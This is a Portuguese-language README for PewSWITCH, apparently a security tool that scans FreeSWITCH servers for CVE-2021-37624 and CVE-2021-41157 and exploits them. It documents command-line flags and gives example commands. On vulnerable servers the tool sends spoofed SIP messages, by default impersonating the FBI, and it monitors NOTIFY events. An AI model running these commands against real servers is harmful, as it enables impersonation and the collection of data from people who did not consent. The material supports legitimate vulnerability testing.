
Um kit de ferramentas de scanning e exploração específico para FreeSWITCH para CVE-2021-37624 e CVE-2021-41157.
Um kit de ferramentas de varredura e exploração específico para FreeSWITCH para CVE-2021-37624 e CVE-2021-41157.
Blog relacionado: https://0xinfection.github.io/posts/analyzing-freeswitch-vulns/
A declaração de ajuda da ferramenta é a seguinte:
$ ./pewswitch --help
___ . ____ _ __ __
/ _ \___|\ __/ __/| __(_) /_____/ /
/ ___/ -_) |/|/ /\ \| |/|/ / / __/ __/ _ \
/_/ \__/|__,__/___/|__,__/_/\__/\__/_//_/ v0.1
"where we pew pew pew freeswitch"
Usage of ./pewswitch:
-cve string
Specify a specific CVE to scan. Both vulns are tested by default.
-delay int
Delay in seconds between subsequent requests. (default 0)
-events string
Comma-separated list of events to be subscribed to. All events are monitored by default.
-expires int
Maximum value of the 'Expires' header for SUBSCRIBE requests. (default 60)
-ext-file string
Specify a file containing extensions instead of '-exts'.
-exts string
Comma separated list of extensions to scan.
-msg-file string
Specify a CSV file containing messages to be sent (if found vulnerable to CVE-2021-37624).
-out-dir string
Output directory to write the results to. (default "./pewswitch-results/")
-out-format string
Output format type of the results. Can be either 'json' or 'csv'. (default "json")
-threads int
Number of threads to use while scanning. (default 2)
-user-agent string
Custom user-agent string to use. (default "pewswitch/0.1")
Por padrão, a ferramenta varre ambas as vulnerabilidades. Se você quiser testar uma vulnerabilidade específica, pode usar a flag -cve para testar uma vulnerabilidade específica.
Exemplo:
./pewswitch -cve 'cve-2021-37624' -exts 1000 freeserver.voip.com
Para especificar extensões, você pode escolher um dos métodos:
Especifique uma lista separada por vírgulas de extensões através do argumento -exts.
Exemplo:
./pewswitch -exts 1000,1001 freeserver.voip.com freeserver1.voip.com:5060
Isso fará com que a ferramenta teste combinações de pares para cada extensão com cada host. Portanto, os destinos finais que serão testados no comando acima são: [email protected], [email protected], [email protected]:5060 e [email protected]:5060.
Especifique um arquivo contendo extensões. Observe que ao usar um arquivo, você precisa especificar tanto o usuário quanto o host. Isso é especialmente útil quando você precisa testar extensões específicas em servidores específicos. Um exemplo de tal arquivo (ex.: extensions-sample.txt) pode ser assim:
[email protected]
[email protected]:5060
[email protected]:5660
...
Exemplo:
./pewswitch -ext-file extensions-sample.txt
Observe que se nenhuma porta for especificada com o host, a porta 5060 será usada por padrão como porta de destino.
A ferramenta pode gerar saída em 2 formatos diferentes, nomeadamente JSON e CSV. O formato de saída padrão é JSON. O formato de saída pode ser alterado usando a flag -out-format.
Exemplo:
./pewswitch -exts 1000 -out-format csv freeserver.voip.com
Você pode encontrar exemplos de relatórios no formato json e csv no diretório ./pewswitch-results/.
O diretório de saída de destino pode ser alterado usando o argumento -out-dir. Por padrão, o diretório de saída é ./pewswitch-results/, que é criado no diretório de trabalho atual durante a execução da ferramenta.
Exemplo:
./pewswitch -ext-file extensions-sample.txt -out-dir /tmp
Existem algumas configurações adicionais específicas de pacotes na ferramenta que permitem a personalização das solicitações durante a validação/exploração de vulnerabilidades.
Se um servidor for considerado vulnerável ao CVE-2021-37624, por padrão, uma mensagem de exemplo do nome FBI e número 022-324-3000 é enviada para a extensão alvo. O conteúdo da mensagem é assim: FBI here. Open your door!
Esse comportamento pode ser alterado usando o argumento -msg-file. Ele aceita um arquivo CSV contendo o nome do remetente, o número de telefone e, por último, o conteúdo da mensagem a ser enviada. Um exemplo de tal arquivo é messages-sample.csv.
sender_name,sender_phone,message
FBI,022-324-3000,FBI here. Open your door!
0xInfection,000-000-0000,Hi. Just confirming the vulnerability.
SPAMMY SALESMAN,BAD-GUY-9999,BUY MY STUFF!
Exemplo:
./pewswitch -cve 'cve-2021-27624' -msg-file messages-sample.csv -exts 1000 freeserver.voip.com
Por padrão, a ferramenta envia solicitações SUBSCRIBE com um cabeçalho Expires definido em 60 segundos. É pelo mesmo período de tempo que a ferramenta continuará ouvindo mensagens NOTIFY do servidor. O valor pode ser alterado usando a flag -expires.
Exemplo:
./pewswitch -expires 600 -ext-file extensions-sample.txt
A ferramenta também monitora mensagens NOTIFY ao se inscrever em todos os eventos. Uma lista de todos os eventos está abaixo:
talkholdconferenceas-feature-eventdialogline-seizecall-infoslainclude-session-descriptionpresencepresence.winfomessage-summaryreferEsse comportamento pode ser alterado pela flag -events, que aceita uma lista separada por vírgulas de eventos para monitorar. Exemplo:
./pewswitch -cve 'cve-2021-41157' -events message-summary,presence -exts 1000,1002 freeserver.voip.com
Você pode usar os binários pré-construídos da seção Releases. Ou, se preferir compilar o código você mesmo, precisará de Go > 1.13. Para construir a ferramenta, você pode executar go build, que fornecerá um binário para executar.
A ferramenta está disponível sob a Licença MIT. Sinta-se à vontade para fazer o que quiser com ela. :)
Atualmente, o PewSWITCH está na v0.1.
Novas solicitações e funcionalidades? Sinta-se à vontade para criar uma issue ou um pull request.
Se você tiver algo a discutir, pode entrar em contato comigo via twitter/email no meu perfil.
Criado com ♡ por Pinaki.